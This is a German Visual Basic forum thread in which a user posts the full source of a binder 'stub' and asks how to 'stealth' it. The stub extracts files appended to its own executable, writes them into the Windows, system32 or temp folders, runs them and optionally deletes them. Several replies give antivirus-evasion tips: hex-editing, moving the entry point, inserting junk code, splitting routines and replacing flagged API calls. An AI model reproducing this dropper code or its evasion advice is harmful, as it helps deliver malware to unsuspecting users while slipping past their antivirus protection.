Visual Basic Forum

marcel1994_ · Coder Anmeldedatum: 08.02.2008 Beiträge: 202

Wie kann ich z.B. diese Stub hier modden:

Private Declare Function ShellExecuteA Lib "shell32.dll" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Sub Main() '''''''variablen
On Error Resume Next
Dim wholefile As String
Dim infos As String
Dim commands() As String
Dim i As Integer
Dim pos As Long
Dim buffer As String ''''''''ende variablen
pos = 1 ' dateipostition auf anfang setzen
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
wholefile = Space$(LOF(1)) ' die gesamte datei einlesen
Get 1, , wholefile ' die gesamte datei einlesen
infos = Mid(wholefile, InStrRev(wholefile, "•") + 1) 'die infos einlesen
commands() = Split(infos, "¤") ' die infos für die einzelnen Dateien
For i = 1 To UBound(commands) 'alle durchgehen
Dim commands2() As String ' array für die unterinfos
commands2() = Split(commands(i), "|") ' array für die unterinfos
Open path2install(commands2(2)) & "\" & commands2(0) For Binary As #2 ' die zu entpackende datei öffnen
buffer = Space$(commands2(1))
Get 1, pos, buffer '' den inhalt lesen
Put 2, , buffer ' den inhalt schreiben
Close #2
pos = pos + commands2(1) ' die position aktualisieren
Next i
Close #1
Dim commands3() As String
For i = 1 To UBound(commands)
commands3() = Split(commands(i), "|")
'ab hier herrscht verbesserungsbedarf''
''ausführen?
If commands3(4) = "True" Then
If commands3(5) = "True" Then ' versteckt?
ShellExecuteA 0, "Open", commands3(0), "", path2install(commands3(2)), 1
Else
ShellExecuteA 0, "Open", commands3(0), "", path2install(commands3(2)), 1
End If
End If
'''ab hier eigentlich unbrauchbar
If commands3(3) = "True" Then
On Error Resume Next
Kill path2install(commands3(2)) & "\" & commands3(0)
End If
Next i
End Sub
Private Function path2install(Shortcut As String) As String
Select Case Shortcut
Case "APP"
path2install = App.Path & "\"
Case "WIN"
path2install = Environ$("windir") & "\"
Case "SYS"
path2install = Environ$("windir") & "\system32\"
Case "TEM"
path2install = Environ$("tmp") & "\"
End Select
End Function

Bitte um antworten, marcel1994

Five-Three-Nine_ · Tutorial Leser Anmeldedatum: 23.06.2007 Beiträge: 34

Willst du Funktionen erweitern oder die Stub steahlten?

marcel1994_ · Coder Anmeldedatum: 08.02.2008 Beiträge: 202

ich will die stub stealthen

seraph1n_ · Verfasst am: 10.02.2008, 10:14

du kannst nichts. soll dir jetzt jemand die stub stealthen und dir den code geben, damit du es als deinen ausgeben kannst?

Jolo_ · Coder Anmeldedatum: 20.03.2007 Beiträge: 210

omg das klingt wie: "hier macht das mal bitte schnell ich kann nicht coden" Rolling Eyes

MfG Jolo

marcel1994_ · Coder Anmeldedatum: 08.02.2008 Beiträge: 202

danke für euchre Hilfe! seid echt nett hier! Da swar doch ne ganz normale frage und ich weiß halt nicht wie man da smacht!

seraph1n_ · Verfasst am: 10.02.2008, 10:57

lern erstmal was anderes. du hast ne falsche einstellung zum visual basic lernen. die leute, die dir coden sollen, hätten es sicherlich schon gemacht, wenn sie lust dazu hätten. da sie keine haben, wie ich hoffe, musst du es wohl oder übel selbst machen.. oder willste ne Schritt für Schritt Anleitung wie

r4z3r_ · « Webmaster » Anmeldedatum: 06.02.2007 Beiträge: 252

Es war eine normale Frage, kein Grund hier zu behaupten, dass er kein VB kann.
Er hat nicht gefragt ob ihm jemand eine Stub stealthen kann, sondern ob ihm jemand sagt wie das geht...

Der nächste der hier irgendwas vonwegen "lern die Grundlagen" sagt, bekommt ne Verwarnung, denn das hilft keinem und wurde hier bestimmt schon 3 mal erwähnt.

seraph1n_ · Verfasst am: 10.02.2008, 11:18

wenn du dir die anderen threads zu gemüte führen würdest, würdest du merken, dass er nur nach copy & past sucht, wie enco schon in einem der threads erwähnt.

ZiG_ · Überflieger Anmeldedatum: 07.03.2007 Beiträge: 1248

Bringt aber nichts, wenn hier gleich mehrere das selbe posten.
Ist aber auch egal jetzt.

@marcel1994

Verändere einfach den Ablauf.
Funktionsnamen und Variablennamen ändern sollte eigentlich keine Auswirkung haben, aber du kannst dies ja auch probieren.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)

slayer616_ · Coder Anmeldedatum: 16.05.2007 Beiträge: 90

@marcel: hexxe die stub, mp,verschiebe ep, und lösche ein paar zeilen aus dem ablauf raus(gefährlich!)
um stub zu stealthen musst du nicht coden können! kann jeder 1337 kiddy h4XX0r!

ZiG_ · Überflieger Anmeldedatum: 07.03.2007 Beiträge: 1248

Ziemlich idiotisch wenn man den source hat. Rolling Eyes

Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)

Rausch_ · Poster Anmeldedatum: 03.11.2007 Beiträge: 164

oder füge einfach irgendeinen code ein, z.B. irgendwelche rechenaufgaben.
du kannst den code auch in kleine subs unterteilen, achte aber auf die variablengültigkeitsbereiche...

marcel1994_ · Coder Anmeldedatum: 08.02.2008 Beiträge: 202

danke für die antworten von euch allen!

big earl_ · Coder Anmeldedatum: 11.05.2007 Beiträge: 208

meistens, werden eh die API's von AV's erkannt

also wennde ne Alterbatieve oder nen anderen API oder sowas ranstezt, würde das vllt. auch bessern

kokaiin_ · Tutorial Leser Anmeldedatum: 03.01.2008 Beiträge: 36

Ja aber auf Apis springt dann nur die Heuristik an, und das sind dann nur n paar Virenscanner